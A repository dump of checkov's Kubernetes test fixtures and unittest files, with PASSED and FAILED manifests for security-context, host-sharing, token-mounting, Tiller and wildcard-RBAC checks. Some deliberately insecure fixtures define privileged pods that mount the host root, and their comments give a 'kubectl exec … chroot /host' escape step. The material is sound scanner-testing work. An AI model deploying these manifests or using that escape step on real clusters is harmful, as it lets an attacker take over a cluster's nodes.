tests/kubernetes/checks/example_SecurityContexts/pod-container-both-PASSED.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ apiVersion: v1 kind: Pod metadata: name: security-context-demo spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 volumes: - name: sec-ctx-vol emptyDir: {} containers: - name: sec-ctx-demo image: busybox command: [ "sh", "-c", "sleep 1h" ] volumeMounts: - name: sec-ctx-vol mountPath: /data/demo securityContext: allowPrivilegeEscalation: false # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ # cat /proc/1/status # allowPrivilegeEscalation: false means NoNewPrivs = 1 # https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html ================================================ FILE: tests/kubernetes/checks/example_SecurityContexts/podFAILED-containerPASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: pod-drop-net-raw-capability spec: containers: - name: main image: fedora command: ["/bin/sleep", "999999"] securityContext: capabilities: drop: - NET_RAW # kubectl exec -it pod-drop-net-raw-capability -- bash # dnf -y install libcap-ng-utils # pscap ### Notice no net_raw capability ================================================ FILE: tests/kubernetes/checks/example_SecurityContexts/podPassed-containerFailed.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/ apiVersion: batch/v1beta1 kind: CronJob metadata: name: hello spec: schedule: "*/1 * * * *" jobTemplate: spec: template: spec: securityContext: runAsUser: 1000 runAsGroup: 3000 fsGroup: 2000 containers: - name: hello image: busybox args: - /bin/sh - -c - date; echo Hello from the Kubernetes cluster restartPolicy: OnFailure hostPID: true hostIPC: true hostNetwork: true ================================================ FILE: tests/kubernetes/checks/example_ServiceAccountTokens/ServiceAccountTokensFAILED.yaml ================================================ # automountServiceAccountToken absent from pod (FAILED) apiVersion: v1 kind: Pod metadata: name: pod1 spec: containers: - name: main image: alpine command: ["/bin/sleep", "999999"] --- # automountServiceAccountToken == True (FAILED) apiVersion: v1 kind: Pod metadata: name: pod2 spec: automountServiceAccountToken: true containers: - name: main image: alpine command: ["/bin/sleep", "999999"] # kubectl describe pods # You will see default token mounted as a volume ================================================ FILE: tests/kubernetes/checks/example_ServiceAccountTokens/ServiceAccountTokensPASSED.yaml ================================================ # automountServiceAccountToken set to false (PASSED) apiVersion: v1 kind: Pod metadata: name: pod-pass spec: automountServiceAccountToken: false containers: - name: main image: alpine command: ["/bin/sleep", "999999"] # kubectl describe pods # No default token mounted - Volumes: ================================================ FILE: tests/kubernetes/checks/example_ServiceAccountTokens/ServiceAccountTokensUNKNOWN.yaml ================================================ apiVersion: apps/v1 #we know that all the communication in k8s happen through api. #what we want to create #inside kind you need to define type of api you want to execute. kind: Deployment #pod#service metadata: #using metada and name we define the name of deployment name: myapp-deployment #a deployment name myapp-deployment is created using .metadata.name field labels: app: myapp spec: #inside your deployment we need to provide spec how this deployment api will launch your pod replicas: 3 #it will create three pod selector: #the .spec.selector file define ho the deployment find which pod to manage. matchLabels: #.spec.selector.matchlabel it is equivalent to map ke,value. something called as match expression app: myapp template: #container template deploy in three pod metadata: name: myapp-pod #using metadata name labels: app: myapp #this label should match with pod label. spec: #we define container spec - name: myapp-container image: nginx ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/checks/example_ShareHost/cronjob-hostresources-FAILED.yaml ================================================ # Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/ apiVersion: batch/v1beta1 kind: CronJob metadata: name: hello spec: schedule: "*/1 * * * *" jobTemplate: spec: template: spec: containers: - name: hello image: busybox args: - /bin/sh - -c - date; echo Hello from the Kubernetes cluster restartPolicy: OnFailure hostPID: true hostIPC: true hostNetwork: true ================================================ FILE: tests/kubernetes/checks/example_ShareHost/jenkinsDeployment-PASSED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: RELEASE-NAME-jenkins namespace: default labels: "app.kubernetes.io/name": 'jenkins' "helm.sh/chart": "jenkins-1.10.1" "app.kubernetes.io/managed-by": "Helm" "app.kubernetes.io/instance": "RELEASE-NAME" "app.kubernetes.io/component": "jenkins-master" spec: replicas: 1 strategy: type: Recreate selector: matchLabels: "app.kubernetes.io/component": "jenkins-master" "app.kubernetes.io/instance": "RELEASE-NAME" template: metadata: labels: "app.kubernetes.io/name": 'jenkins' "helm.sh/chart": "jenkins-1.10.1" "app.kubernetes.io/managed-by": "Helm" "app.kubernetes.io/instance": "RELEASE-NAME" "app.kubernetes.io/component": "jenkins-master" annotations: checksum/config: 5e98154b950c9481d238267a4ba68dc7271f8658683911fa0054f77294b32a72 spec: securityContext: runAsUser: 0 serviceAccountName: "RELEASE-NAME-jenkins" initContainers: - name: "copy-default-config" image: "jenkins/jenkins:lts" imagePullPolicy: "Always" command: [ "sh", "/var/jenkins_config/apply_config.sh" ] env: - name: ADMIN_PASSWORD valueFrom: secretKeyRef: name: RELEASE-NAME-jenkins key: jenkins-admin-password - name: ADMIN_USER valueFrom: secretKeyRef: name: RELEASE-NAME-jenkins key: jenkins-admin-user resources: limits: cpu: 2000m memory: 4096Mi requests: cpu: 50m memory: 256Mi volumeMounts: - mountPath: /tmp name: tmp - mountPath: /var/jenkins_home name: jenkins-home - mountPath: /var/jenkins_config name: jenkins-config - mountPath: /usr/share/jenkins/ref/secrets/ name: secrets-dir - mountPath: /usr/share/jenkins/ref/plugins name: plugins - mountPath: /var/jenkins_plugins name: plugin-dir containers: - name: jenkins image: "jenkins/jenkins:lts" imagePullPolicy: "Always" args: [ "--argumentsRealm.passwd.$(ADMIN_USER)=$(ADMIN_PASSWORD)", "--argumentsRealm.roles.$(ADMIN_USER)=admin", "--httpPort=8080"] env: - name: POD_NAME valueFrom: fieldRef: fieldPath: metadata.name - name: JAVA_OPTS value: > - name: JENKINS_OPTS value: "" - name: JENKINS_SLAVE_AGENT_PORT value: "50000" - name: ADMIN_PASSWORD valueFrom: secretKeyRef: name: RELEASE-NAME-jenkins key: jenkins-admin-password - name: ADMIN_USER valueFrom: secretKeyRef: name: RELEASE-NAME-jenkins key: jenkins-admin-user ports: - containerPort: 8080 name: http - containerPort: 50000 name: agentlistener livenessProbe: httpGet: path: "/login" port: http initialDelaySeconds: 90 periodSeconds: 10 timeoutSeconds: 5 failureThreshold: 5 readinessProbe: httpGet: path: "/login" port: http initialDelaySeconds: 60 periodSeconds: 10 timeoutSeconds: 5 failureThreshold: 3 resources: limits: cpu: 2000m memory: 4096Mi requests: cpu: 50m memory: 256Mi volumeMounts: - mountPath: /tmp name: tmp - mountPath: /var/jenkins_home name: jenkins-home readOnly: false - mountPath: /var/jenkins_config name: jenkins-config readOnly: true - mountPath: /usr/share/jenkins/ref/secrets/ name: secrets-dir readOnly: false - mountPath: /usr/share/jenkins/ref/plugins/ name: plugin-dir readOnly: false volumes: - name: plugins emptyDir: {} - name: tmp emptyDir: {} - name: jenkins-config configMap: name: RELEASE-NAME-jenkins - name: secrets-dir emptyDir: {} - name: plugin-dir emptyDir: {} - name: jenkins-home persistentVolumeClaim: claimName: RELEASE-NAME-jenkins ================================================ FILE: tests/kubernetes/checks/example_ShareHost/memcachedStatefulSet-PASSED.yaml ================================================ --- # Source: memcached/templates/svc.yaml apiVersion: v1 kind: Service metadata: name: RELEASE-NAME-memcached namespace: default labels: app.kubernetes.io/name: memcached helm.sh/chart: memcached-3.2.3 app.kubernetes.io/instance: RELEASE-NAME app.kubernetes.io/version: "1.5.20" app.kubernetes.io/managed-by: Helm annotations: {} spec: clusterIP: None ports: - name: memcache port: 11211 targetPort: memcache selector: app.kubernetes.io/name: memcached app.kubernetes.io/instance: RELEASE-NAME --- # Source: memcached/templates/statefulset.yaml apiVersion: apps/v1 kind: StatefulSet metadata: name: RELEASE-NAME-memcached namespace: default labels: app.kubernetes.io/name: memcached helm.sh/chart: memcached-3.2.3 app.kubernetes.io/instance: RELEASE-NAME app.kubernetes.io/version: "1.5.20" app.kubernetes.io/managed-by: Helm spec: selector: matchLabels: app.kubernetes.io/name: memcached app.kubernetes.io/instance: RELEASE-NAME serviceName: RELEASE-NAME-memcached replicas: 3 template: metadata: labels: app.kubernetes.io/name: memcached app.kubernetes.io/instance: RELEASE-NAME spec: securityContext: fsGroup: 1001 affinity: podAntiAffinity: requiredDuringSchedulingIgnoredDuringExecution: - topologyKey: "kubernetes.io/hostname" labelSelector: matchLabels: app.kubernetes.io/name: memcached app.kubernetes.io/instance: RELEASE-NAME containers: - name: RELEASE-NAME-memcached image: memcached:1.5.20 imagePullPolicy: "" securityContext: runAsUser: 1001 command: - memcached - -m 64 - -o - modern - -v ports: - name: memcache containerPort: 11211 livenessProbe: tcpSocket: port: memcache initialDelaySeconds: 30 timeoutSeconds: 5 readinessProbe: tcpSocket: port: memcache initialDelaySeconds: 5 timeoutSeconds: 1 resources: requests: cpu: 50m memory: 64Mi updateStrategy: type: RollingUpdate --- # Source: memcached/templates/pdb.yaml apiVersion: policy/v1beta1 kind: PodDisruptionBudget metadata: name: RELEASE-NAME-memcached namespace: default annotations: helm.sh/hook: "post-upgrade, post-install" helm.sh/hook-delete-policy: "before-hook-creation" labels: app.kubernetes.io/name: memcached helm.sh/chart: memcached-3.2.3 app.kubernetes.io/instance: RELEASE-NAME app.kubernetes.io/version: "1.5.20" app.kubernetes.io/managed-by: Helm spec: selector: matchLabels: app.kubernetes.io/name: memcached app.kubernetes.io/instance: RELEASE-NAME minAvailable: 2 ================================================ FILE: tests/kubernetes/checks/example_ShareHost/privilegedDaemonSet-FAILED.yaml ================================================ # Access worker node file system from within a pod apiVersion: apps/v1 kind: DaemonSet metadata: name: privileged spec: selector: matchLabels: name: privileged-container template: metadata: labels: name: privileged-container spec: containers: - name: busybox image: busybox resources: limits: cpu: 200m memory: 100Mi requests: cpu: 100m memory: 50Mi stdin: true securityContext: privileged: true volumeMounts: - name: host-root-volume mountPath: /host readOnly: false volumes: - name: host-root-volume hostPath: path: / hostNetwork: true hostIPC: true hostPID: true restartPolicy: Always # And access host: kubectl exec -ti privileged-xxxxx chroot /host ================================================ FILE: tests/kubernetes/checks/example_ShareHost/privilegedPod-FAILED.yaml ================================================ # Access worker node file system from within a pod apiVersion: v1 kind: Pod metadata: name: privileged spec: containers: - name: busybox image: busybox resources: limits: cpu: 200m memory: 100Mi requests: cpu: 100m memory: 50Mi stdin: true securityContext: privileged: true volumeMounts: - name: host-root-volume mountPath: /host readOnly: false volumes: - name: host-root-volume hostPath: path: / hostNetwork: true hostPID: true hostIPC: true restartPolicy: Always # And access host: kubectl exec -ti privileged-xxxxx chroot /host ================================================ FILE: tests/kubernetes/checks/example_ShareHost/privilegedPod-PASS.yaml ================================================ # Access worker node file system from within a pod apiVersion: v1 kind: Pod metadata: name: privileged spec: containers: - name: busybox image: busybox resources: limits: cpu: 200m memory: 100Mi requests: cpu: 100m memory: 50Mi stdin: true securityContext: privileged: true volumeMounts: - name: host-root-volume mountPath: /host readOnly: false volumes: - name: host-root-volume hostPath: path: / restartPolicy: Always # And access host: kubectl exec -ti privileged-xxxxx chroot /host ================================================ FILE: tests/kubernetes/checks/example_Suppressed/suppress-checks-PASSED.yaml ================================================ ## ['Pod', 'Deployment', 'DaemonSet', 'StatefulSet', 'ReplicaSet', 'ReplicationController', 'Job', 'CronJob'] ## Run for CKV_K8S_11 - CPU Limits are not set apiVersion: v1 kind: Pod metadata: labels: test: liveness name: liveness-exec annotations: checkov.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation in the first container in this pod checkov.io/skip2: CKV_K8S_14 checkov.io/skip3: CKV_K8S_11=I don't care about CPU limits spec: containers: - name: liveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 livenessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 - name: noliveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 --- apiVersion: v1 kind: Pod metadata: labels: test: bcliveness name: bcliveness-exec annotations: bridgecrew.io/skip1: CKV_K8S_20=I don't care about Privilege Escalation in the first container in this pod bridgecrew.io/skip2: CKV_K8S_14 bridgecrew.io/skip3: CKV_K8S_11=I don't care about CPU limits spec: containers: - name: bcliveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 livenessProbe: exec: command: - cat - /tmp/healthy initialDelaySeconds: 5 periodSeconds: 5 - name: bcnoliveness image: k8s.gcr.io/busybox args: - /bin/sh - -c - touch /tmp/healthy; sleep 30; rm -rf /tmp/healthy; sleep 600 --- apiVersion: apps/v1 kind: StatefulSet metadata: name: web annotations: checkov.io/skip1: CKV_K8S_11 spec: selector: matchLabels: app: nginx # has to match .spec.template.metadata.labels serviceName: "nginx" replicas: 3 # by default is 1 template: metadata: labels: app: nginx # has to match .spec.selector.matchLabels spec: terminationGracePeriodSeconds: 10 containers: - name: nginx image: k8s.gcr.io/nginx-slim:0.8 ports: - containerPort: 80 name: web volumeMounts: - name: www mountPath: /usr/share/nginx/html volumeClaimTemplates: - metadata: name: www spec: accessModes: [ "ReadWriteOnce" ] storageClassName: "my-storage-class" resources: requests: storage: 1Gi --- apiVersion: extensions/v1beta1 kind: Deployment metadata: name: hello labels: app: hello annotations: checkov.io/skip1: CKV_K8S_1=I am not a valid suppress for this check spec: replicas: 1 selector: matchLabels: app: hello template: metadata: labels: app: hello spec: containers: - image: k8s.gcr.io/echoserver:1.4 name: hello securityContext: allowPrivilegeEscalation: false runAsUser: 0 --- apiVersion: v1 kind: ReplicationController metadata: name: myapp labels: app: myapp annotations: checkov.io/skip: CKV_K8S_11=I don't need CPU spec: replicas: 2 selector: app: myapp deployment: initial template: metadata: labels: app: myapp deployment: initial spec: containers: - name: myapp image: myregistry.com/myapp:5c3dda6b ports: - containerPort: 80 imagePullPolicy: IfNotPresent --- apiVersion: apps/v1 kind: DaemonSet metadata: name: passed-but-skipped annotations: checkov.io/skip99: CKV_K8S_11=I passed but I am skipped spec: selector: matchLabels: name: privileged-container template: metadata: labels: name: privileged-container spec: containers: - name: busybox image: busybox resources: limits: cpu: 200m memory: 100Mi requests: cpu: 100m memory: 50Mi stdin: true securityContext: privileged: true volumeMounts: - name: host-root-volume mountPath: /host readOnly: false volumes: - name: host-root-volume hostPath: path: / hostNetwork: true hostPID: true restartPolicy: Always --- apiVersion: apps/v1 kind: ReplicaSet metadata: name: frontend labels: app: guestbook tier: frontend annotations: checkov.io/skip99: CKV_K8S_11 spec: # modify replicas according to your case replicas: 3 selector: matchLabels: tier: frontend template: metadata: labels: tier: frontend spec: containers: - name: php-redis image: gcr.io/google_samples/gb-frontend:v3 --- apiVersion: batch/v1beta1 kind: CronJob metadata: name: hello annotations: checkov.io/skipME: CKV_K8S_11 spec: schedule: "*/1 * * * *" jobTemplate: spec: template: spec: containers: - name: hello image: busybox args: - /bin/sh - -c - date; echo Hello from the Kubernetes cluster restartPolicy: OnFailure hostPID: true hostIPC: true hostNetwork: true --- apiVersion: batch/v1 kind: Job metadata: name: pi annotations: checkov.io/skip1: CKV_K8S_11=My job is BestEffort QoS spec: template: spec: containers: - name: pi image: perl command: ["perl", "-Mbignum=bpi", "-wle", "print bpi(2000)"] restartPolicy: Never backoffLimit: 4 ================================================ FILE: tests/kubernetes/checks/example_Tiller/nginx-deployment-PASSED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/checks/example_Tiller/tiller-deployment.json ================================================ { "apiVersion": "extensions/v1beta1", "kind": "Deployment", "metadata": { "creationTimestamp": null, "labels": { "app": "helm", "name": "tiller" }, "name": "tiller-deploy", "namespace": "kube-system" }, "spec": { "strategy": {}, "template": { "metadata": { "creationTimestamp": null, "labels": { "app": "helm", "name": "tiller" } }, "spec": { "containers": [ { "env": [ { "name": "TILLER_NAMESPACE", "value": "kube-system" }, { "name": "TILLER_HISTORY_MAX", "value": "0" } ], "image": "gcr.io/kubernetes-helm/tiller:v2.8.0", "imagePullPolicy": "IfNotPresent", "livenessProbe": { "httpGet": { "path": "/liveness", "port": 44135 }, "initialDelaySeconds": 1, "timeoutSeconds": 1 }, "name": "tiller", "ports": [ { "containerPort": 44134, "name": "tiller" } ], "readinessProbe": { "httpGet": { "path": "/readiness", "port": 44135 }, "initialDelaySeconds": 1, "timeoutSeconds": 1 }, "resources": {} } ] } } }, "status": {} } ================================================ FILE: tests/kubernetes/checks/example_TillerDeploymentListener/nginx-deployment-UNKNOWN.yaml ================================================ items: - apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 - apiVersion: apps/v1 kind: Deployment metadata: name: tiller labels: app: tiller spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: tiller image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/checks/example_TillerDeploymentListener/tiller-deployment_FAILED.json ================================================ { "apiVersion": "extensions/v1beta1", "kind": "Deployment", "metadata": { "creationTimestamp": null, "labels": { "app": "helm", "name": "tiller" }, "name": "tiller-deploy", "namespace": "kube-system" }, "spec": { "strategy": {}, "template": { "metadata": { "creationTimestamp": null, "labels": { "app": "helm", "name": "tiller" } }, "spec": { "containers": [ { "env": [ { "name": "TILLER_NAMESPACE", "value": "kube-system" }, { "name": "TILLER_HISTORY_MAX", "value": "0" } ], "image": "gcr.io/kubernetes-helm/tiller:v2.8.0", "imagePullPolicy": "IfNotPresent", "livenessProbe": { "httpGet": { "path": "/liveness", "port": 44135 }, "initialDelaySeconds": 1, "timeoutSeconds": 1 }, "name": "tiller", "ports": [ { "containerPort": 44134, "name": "tiller" } ], "readinessProbe": { "httpGet": { "path": "/readiness", "port": 44135 }, "initialDelaySeconds": 1, "timeoutSeconds": 1 }, "resources": {} } ] } } }, "status": {} } ================================================ FILE: tests/kubernetes/checks/example_TillerDeploymentListener/tiller-deployment_FAILED_WRONGARG.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: tiller labels: app: tiller spec: progressDeadlineSeconds: 600 replicas: 1 revisionHistoryLimit: 10 selector: matchLabels: app: helm name: tiller template: metadata: creationTimestamp: null labels: app: helm name: tiller spec: automountServiceAccountToken: true containers: - args: - --listen=0.0.0.0:44134 env: - name: TILLER_NAMESPACE value: kube-system - name: TILLER_HISTORY_MAX value: "0" image: gcr.io/kubernetes-helm/tiller:v2.16.9 name: tiller ports: - containerPort: 44134 name: tiller protocol: TCP - containerPort: 44135 name: http protocol: TCP ================================================ FILE: tests/kubernetes/checks/example_TillerDeploymentListener/tiller-deployment_PASSED_LOCALHOST.json ================================================ { "apiVersion": "extensions/v1beta1", "kind": "Deployment", "metadata": { "creationTimestamp": null, "labels": { "app": "helm", "name": "tiller" }, "name": "tiller-deploy", "namespace": "kube-system" }, "spec": { "strategy": {}, "template": { "metadata": { "creationTimestamp": null, "labels": { "app": "helm", "name": "tiller" } }, "spec": { "containers": [ { "args": ["--listen=localhost:12345"], "env": [ { "name": "TILLER_NAMESPACE", "value": "kube-system" }, { "name": "TILLER_HISTORY_MAX", "value": "0" } ], "image": "gcr.io/kubernetes-helm/tiller:v2.8.0", "imagePullPolicy": "IfNotPresent", "livenessProbe": { "httpGet": { "path": "/liveness", "port": 44135 }, "initialDelaySeconds": 1, "timeoutSeconds": 1 }, "name": "tiller", "ports": [ { "containerPort": 44134, "name": "tiller" } ], "readinessProbe": { "httpGet": { "path": "/readiness", "port": 44135 }, "initialDelaySeconds": 1, "timeoutSeconds": 1 }, "resources": {} } ] } } }, "status": {} } ================================================ FILE: tests/kubernetes/checks/example_TillerDeploymentListener/tiller-deployment_PASSED_LOOPBACK.json ================================================ { "apiVersion": "extensions/v1beta1", "kind": "Deployment", "metadata": { "creationTimestamp": null, "labels": { "app": "helm", "name": "tiller" }, "name": "tiller-deploy", "namespace": "kube-system" }, "spec": { "strategy": {}, "template": { "metadata": { "creationTimestamp": null, "labels": { "app": "helm", "name": "tiller" } }, "spec": { "containers": [ { "args": ["--listen=127.0.0.1:12345"], "env": [ { "name": "TILLER_NAMESPACE", "value": "kube-system" }, { "name": "TILLER_HISTORY_MAX", "value": "0" } ], "image": "gcr.io/kubernetes-helm/tiller:v2.8.0", "imagePullPolicy": "IfNotPresent", "livenessProbe": { "httpGet": { "path": "/liveness", "port": 44135 }, "initialDelaySeconds": 1, "timeoutSeconds": 1 }, "name": "tiller", "ports": [ { "containerPort": 44134, "name": "tiller" } ], "readinessProbe": { "httpGet": { "path": "/readiness", "port": 44135 }, "initialDelaySeconds": 1, "timeoutSeconds": 1 }, "resources": {} } ] } } }, "status": {} } ================================================ FILE: tests/kubernetes/checks/example_TillerService/tiller-services.yaml ================================================ apiVersion: v1 items: - apiVersion: v1 kind: Service metadata: labels: service: flask-svc name: flask-svc spec: clusterIP: 10.103.37.236 externalTrafficPolicy: Cluster ports: - nodePort: 32061 port: 5000 protocol: TCP targetPort: 5000 selector: app: hello-flask sessionAffinity: None type: NodePort status: loadBalancer: {} - apiVersion: v1 # This one fails because it finds the label. kind: Service metadata: labels: app: helm name: tiller name: tiller-deploy namespace: kube-system spec: clusterIP: 10.99.167.51 ports: - name: tiller port: 44134 protocol: TCP targetPort: tiller selector: app: helm name: tiller sessionAffinity: None type: ClusterIP status: loadBalancer: {} - apiVersion: v1 # This one fails because it finds the selector. kind: Service metadata: name: tiller-deploy namespace: kube-system spec: clusterIP: 10.99.167.51 ports: - name: tiller port: 44134 protocol: TCP targetPort: tiller selector: app: helm name: tiller sessionAffinity: None type: ClusterIP status: loadBalancer: {} kind: List metadata: resourceVersion: "" selfLink: "" ================================================ FILE: tests/kubernetes/checks/example_WildcardEntities/nginx-app.yaml ================================================ apiVersion: v1 kind: Service metadata: name: my-nginx-svc labels: app: nginx spec: type: LoadBalancer ports: - port: 80 selector: app: nginx --- apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 --- apiVersion: policy/v1beta1 kind: PodSecurityPolicy metadata: name: restricted annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames: 'docker/default,runtime/default' apparmor.security.beta.kubernetes.io/allowedProfileNames: 'runtime/default' seccomp.security.alpha.kubernetes.io/defaultProfileName: 'runtime/default' apparmor.security.beta.kubernetes.io/defaultProfileName: 'runtime/default' spec: privileged: false # Required to prevent escalations to root. allowPrivilegeEscalation: false # This is redundant with non-root + disallow privilege escalation, # but we can provide it for defense in depth. requiredDropCapabilities: - ALL # Allow core volume types. volumes: - 'configMap' - 'emptyDir' - 'projected' - 'secret' - 'downwardAPI' # Assume that persistentVolumes set up by the cluster admin are safe to use. - 'persistentVolumeClaim' hostNetwork: false hostIPC: false hostPID: false runAsUser: # Require the container to run without root privileges. rule: 'MustRunAsNonRoot' seLinux: # This policy assumes the nodes are using AppArmor rather than SELinux. rule: 'RunAsAny' supplementalGroups: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 fsGroup: rule: 'MustRunAs' ranges: # Forbid adding the root group. - min: 1 max: 65535 readOnlyRootFilesystem: false ================================================ FILE: tests/kubernetes/checks/example_WildcardRoles/role-failed-1.yaml ================================================ --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-1 namespace: test rules: - apiGroups: ["", "extensions", "apps"] resources: ["*"] verbs: [""] ================================================ FILE: tests/kubernetes/checks/example_WildcardRoles/role-failed-2.yaml ================================================ --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-2 namespace: test rules: - apiGroups: ["", "extensions", "apps"] resources: ["example"] verbs: ["example", "*"] ================================================ FILE: tests/kubernetes/checks/example_WildcardRoles/role-failed-3.yaml ================================================ --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-fail-3 namespace: test rules: - apiGroups: ["*", "extensions", "apps"] resources: ["example"] verbs: ["example"] ================================================ FILE: tests/kubernetes/checks/example_WildcardRoles/role-passed-1.yaml ================================================ --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-3 namespace: test rules: - apiGroups: ["extensions", "apps"] resources: ["example"] verbs: ["example"] ================================================ FILE: tests/kubernetes/checks/example_WildcardRoles/role-passed-2.yaml ================================================ --- kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: name: test-should-pass-2 namespace: test rules: ================================================ FILE: tests/kubernetes/checks/test_AllowPrivilegeEscalationPSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.AllowPrivilegeEscalationPSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestAllowPrivilegeEscalationPSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) def test_summary_skip_check(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(skip_checks=[check.id])) for record in report.failed_checks: self.assertNotEqual(record.check_id,check.id,"check should be skipped") if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_AllowProvilegeEscalation.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.AllowPrivilegeEscalation import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestAllowPrivilegeEscalation(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_AllowPrivilegeEscalation" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 3) self.assertEqual(summary['failed'], 4) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_AllowedCapabilities.py ================================================ import unittest from pathlib import Path from checkov.kubernetes.checks.resource.k8s.AllowedCapabilities import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestAllowedCapabilities(unittest.TestCase): def test_summary(self): # given test_files_dir = Path(__file__).parent / "example_AllowedCapabilities" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "CronJob.default.hello", "Deployment.default.my-nginx", } failing_resources = { "StatefulSet.default.cassandra", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/kubernetes/checks/test_AllowedCapabilitiesPSP.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.AllowedCapabilitiesPSP import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestAllowedCapabilitiesPSP(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_PSP" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_AllowedCapabilitiesSysAdmin.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.AllowedCapabilitiesSysAdmin import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestAllowedCapabilitiesSysAdmin(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_AllowedCapabilitiesSysAdmin" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_ApiServerAdmissionControlAlwaysAdmit.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.ApiServerAdmissionControlAlwaysAdmit import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestApiServerAdmissionControlAlwaysAdmit(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ApiServerAdmissionControlAlwaysAdmit" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) for record in report.failed_checks: 